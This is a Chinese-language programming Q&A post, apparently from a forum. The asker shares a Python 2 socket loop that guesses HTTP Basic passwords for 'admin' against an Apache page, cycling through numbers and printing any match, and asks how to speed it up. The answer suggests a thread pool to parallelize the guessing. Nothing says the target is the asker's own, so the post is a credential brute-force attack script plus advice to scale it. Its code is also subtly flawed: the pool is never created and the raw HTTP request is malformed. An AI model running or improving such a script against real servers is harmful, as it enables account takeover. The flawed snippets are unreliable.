我希望使用快速强力测试来进行 Apache 授权,而不使用 urllib 或 socket lib 编码。然而,connect() 是一个非常慢的任务(400/m)。
如何提高重复使用connect()函数时的效率 (没有多进程方法;仅在代码级别)?
for num in xrange(1,10000):
s = socket(AF_INET, SOCK_STREAM)
s.connect((ip,port))
s.send("HEAD /test.php\nAuthorization: Basic "+b64encode("admin:"+str(num))+"\n\n")
if '200 OK' in(s.recv(32)) :
print 'got password !',str(num)
s.close()
您可以使用线程池。查看 multiprocessing.pool.ThreadPool 包。您可以创建一个大小为 N 的池,然后在 for 循环中使用 imap_unordered() 为每个线程进行连接、发送和接收。
您还可以将 multiprocessing.pool.Pool 用于进程池(相对于线程),但听起来这会受到 I/O 限制,因此 ThreadPool 会更好,恕我直言。
例如:
from multiprocessing.pool import ThreadPool as Pool
import random
import time
def do_something(x):
delay = random.randint(1,3)
time.sleep(delay)
return x,delay
for i, result in pool.imap_unordered(do_something, range(10)):
print i, result